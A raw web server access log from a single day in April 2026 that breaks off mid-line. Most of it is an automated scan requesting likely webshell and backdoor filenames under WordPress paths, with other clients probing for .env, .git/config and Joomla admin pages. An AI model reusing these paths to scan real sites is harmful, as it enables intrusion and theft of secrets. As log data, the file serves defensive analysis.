185.223.152.159 - - [08/Apr/2026:04:08:53 +0300] "GET /wp-content/plugins/wp-multilang/configs/plugins/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:08:58 +0300] "GET /wp-content/upgrade-temp-backup/plugins/maintenance.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:03 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:08 +0300] "GET /wp-includes/blocks/columns/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:08 +0300] "GET /wp-includes/blocks/widget-group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:09 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:14 +0300] "GET /wp-includes/assets/koiy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:19 +0300] "GET /wp-content/plugins/Nxploited/class-payment.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:23 +0300] "GET /wp-content/plugins/plugin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:29 +0300] "GET /first.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:34 +0300] "GET /wp-includes/bk/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:38 +0300] "GET /wp-includes/configRIV/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:43 +0300] "GET /wp-includes/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:48 +0300] "GET /wp-content/well-known/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:54 +0300] "GET /wp-content/home.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:09:58 +0300] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:03 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:08 +0300] "GET /wp-content/plugins/updraftplus/system_core.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:13 +0300] "GET /wp-content/plugins/xc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:18 +0300] "GET /well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:23 +0300] "GET /well-known/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:27 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:33 +0300] "GET /database/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:38 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:42 +0300] "GET /wp-content/plugins/adminfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:47 +0300] "GET /wp-content/themes/content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:52 +0300] "GET /ws63.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:10:57 +0300] "GET /wp-includesxc/js/imgareaselect/zo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:03 +0300] "GET /wp-content/themes/astra/inc/builder/type/header/above-header/assets/js/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:08 +0300] "GET /wp-content/themes/astra/assets/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:12 +0300] "GET /wp-admin/css/colors/light/wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:18 +0300] "GET /wp-admin/css/colors/modern/test2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:23 +0300] "GET /wp-content/plugins/wp2epub/css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:27 +0300] "GET /wp-content/plugins_old1/insert-headers-and-footers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:32 +0300] "GET /wp-includes/sc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:38 +0300] "GET /wp-admin/js/widgets/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:42 +0300] "GET /wp-content/uploads/users.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:47 +0300] "GET /wp-content/wp-at.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:53 +0300] "GET /wp-includes/Requests/library/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:11:57 +0300] "GET /wp-includes/customize/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:02 +0300] "GET /wp-includes/block-supports/100.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:07 +0300] "GET /wp-admin/css/colors/blue/dx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:13 +0300] "GET /wp-admin/maint/src/xth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:18 +0300] "GET /wp-admin/css/colors/sunrise/modules/docs/dist/resources/qnl/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:23 +0300] "GET /wp-includes/block-supports/includes/src/content/ixp/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:27 +0300] "GET /wp-includes/sodium_compat/src/js/includes/pwm/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:32 +0300] "GET /wp-content/themes/twentytwentyfour/assets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:33 +0300] "GET /wp-content/themes/Divi/core/code-snippets/post/type/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:38 +0300] "GET /wp-content/themes/Divi/epanel/build/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:43 +0300] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/skins/lightgray/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:48 +0300] "GET /file-mancvgertdxz.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:53 +0300] "GET /scanner3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:12:58 +0300] "GET /wp-content/plugins/enhanced-text-widget/analyst/src/403x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:02 +0300] "GET /wp-content/themes/fukasawa/inc/classes/403x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:07 +0300] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:12 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:17 +0300] "GET /wp-admin/user/blue/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:22 +0300] "GET /wp-admin/css/colors/blue/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:27 +0300] "GET /wp-admin/maint/network/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:32 +0300] "GET /wp-admin/network/ID3/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:37 +0300] "GET /wp-includes/interactivity-api/certificates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:42 +0300] "GET /wp-includes/block-bindings/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:44 +0300] "GET /wp-includes/certificates/widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:49 +0300] "GET /wp-includes/ID3/interactivity-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:53 +0300] "GET /wp-content/tmp-old/plugins-old-old/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:13:58 +0300] "GET /wp-content/plugins/elementor/lndex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:03 +0300] "GET /wp-content/plugins.nulled/metform/user/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 31.13.115.6 - - [08/Apr/2026:01:50:11 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 185.226.197.29 - - [08/Apr/2026:03:36:36 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 192.144.148.122 - - [08/Apr/2026:03:53:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.223.152.159 - - [08/Apr/2026:04:14:08 +0300] "GET /wp-includes/theme-compat/sidebar-schema.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:12 +0300] "GET /wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor-loop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:17 +0300] "GET /wp-includes/ID3/module.audio.flac-restful.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:22 +0300] "GET /wp-includes/link-template-edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:27 +0300] "GET /wp-includes/customize/class-wp-customize-new-menu-section-schema.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:32 +0300] "GET /wp-includes/class-wp-theme-json-resolver-sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:37 +0300] "GET /wp-includes/taxonomy-compiler.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:42 +0300] "GET /wp-includes/robots-template-client.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:47 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-variable.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:50 +0300] "GET /wp-includes/class-wp-customize-section-less.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:14:55 +0300] "GET /wp-includes/blocks/comments-less.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:00 +0300] "GET /wp-includes/class-wpdb-query.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:05 +0300] "GET /wp-includes/widgets/class-wp-widget-meta-restful.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:10 +0300] "GET /wp-admin/menu-sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:15 +0300] "GET /wp-admin/network/index-request.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:20 +0300] "GET /wp-admin/themes-security.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:25 +0300] "GET /wp-admin/includes/network-url.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:30 +0300] "GET /wp-content/themes/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:35 +0300] "GET /wp-content/plugins/app.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:40 +0300] "GET /wp-content/themes/twentytwentythree/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:41 +0300] "GET /wp-content/themes/twentytwentyfive/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:41 +0300] "GET /wp-admin/network/config.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:46 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:47 +0300] "GET /wp-admin/wp-config-backup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:52 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:53 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:53 +0300] "GET /wp-content/plugins/wordpress-seo/css/dist/admin-global-350-rtl.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:15:58 +0300] "GET /wp-includes/css/dist/block-directory/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.223.152.159 - - [08/Apr/2026:04:16:03 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 158.158.50.76 - - [08/Apr/2026:00:40:11 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 185.226.197.27 - - [08/Apr/2026:03:36:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 49.51.183.75 - - [08/Apr/2026:03:53:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.92.240.32 - - [08/Apr/2026:04:34:32 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.253.27.200 - - [08/Apr/2026:00:46:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.148.76.35 - - [08/Apr/2026:04:43:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 159.89.204.46 - - [08/Apr/2026:04:55:34 +0300] "GET /wp-includes/speculative8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 68.221.128.217 - - [08/Apr/2026:05:45:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 159.89.204.46 - - [08/Apr/2026:04:55:34 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 159.89.204.46 - - [08/Apr/2026:04:55:35 +0300] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 115.45.42.19 - - [08/Apr/2026:06:03:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.4227.56 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 45.153.34.37 - - [08/Apr/2026:08:47:44 +0300] "GET /joomla/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:47:54 +0300] "GET /cms/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:48:05 +0300] "GET /site/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 46.105.42.96 - - [08/Apr/2026:09:21:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 46.105.42.96 - - [08/Apr/2026:09:21:54 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 77.90.185.5 - - [08/Apr/2026:08:02:47 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 20.83.249.235 - - [08/Apr/2026:07:24:37 +0300] "GET //.env HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 159.223.174.106 - - [08/Apr/2026:08:34:44 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:47:08 +0300] "GET /administrator/index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:47:19 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 217.216.37.56 - - [08/Apr/2026:09:11:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 217.216.37.56 - - [08/Apr/2026:09:11:41 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.135.148.92 - - [08/Apr/2026:09:07:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.47.33 - - [08/Apr/2026:08:18:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.153.34.37 - - [08/Apr/2026:08:46:40 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:46:51 +0300] "GET /administrator/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:48:16 +0300] "GET /web/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 45.153.34.37 - - [08/Apr/2026:08:48:27 +0300] "GET /portal/administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 172.161.76.32 - - [08/Apr/2026:11:24:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 182.42.104.32 - - [08/Apr/2026:10:05:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 158.158.120.192 - - [08/Apr/2026:11:45:31 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 159.223.174.106 - - [08/Apr/2026:12:05:34 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 4.223.64.84 - - [08/Apr/2026:11:21:03 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 136.107.214.168 - - [08/Apr/2026:11:26:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 85.137.48.167 - - [08/Apr/2026:10:07:02 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.130.139.136 - - [08/Apr/2026:13:07:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 106.63.26.157 - - [08/Apr/2026:13:27:01 +0300] "GET /sitemap.xml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.15 - - [08/Apr/2026:13:32:16 +0300] "GET /wp-content/plugins/smart-slider-3/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 98) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/47.0.807.0 Safari/534.0" 74.248.146.253 - - [08/Apr/2026:13:38:06 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 205.210.31.186 - - [08/Apr/2026:13:48:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 145.220.91.19 - - [08/Apr/2026:14:47:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 106.63.26.131 - - [08/Apr/2026:13:26:55 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.133 - - [08/Apr/2026:13:32:43 +0300] "GET /wp-content/plugins/blocksy-companion/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 98) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/47.0.807.0 Safari/534.0" 106.63.26.155 - - [08/Apr/2026:14:19:12 +0300] "GET /config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11" 106.63.26.131 - - [08/Apr/2026:14:20:59 +0300] "GET /wp-content/plugins/blocksy-companion/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 4.0.3) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.882.0 Safari/535.1" 106.63.26.132 - - [08/Apr/2026:13:32:34 +0300] "GET /wp-content/plugins/elementor/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 98) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/47.0.807.0 Safari/534.0" 106.63.26.148 - - [08/Apr/2026:13:32:49 +0300] "GET /wp-content/plugins/the-plus-addons-for-elementor-page-builder/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 98) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/47.0.807.0 Safari/534.0" 80.94.95.202 - - [08/Apr/2026:13:48:07 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 54.234.141.159 - - [08/Apr/2026:14:06:18 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)" 69.171.234.19 - - [08/Apr/2026:13:20:25 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 106.63.26.132 - - [08/Apr/2026:13:32:52 +0300] "GET /wp-content/plugins/*\",\"/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows 98) AppleWebKit/534.0 (KHTML, like Gecko) Chrome/47.0.807.0 Safari/534.0" 43.157.181.189 - - [08/Apr/2026:13:50:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 106.63.26.13 - - [08/Apr/2026:14:19:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 106.63.26.20 - - [08/Apr/2026:13:26:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0" 20.63.84.172 - - [08/Apr/2026:13:53:44 +0300] "GET / HTTP/1.1" 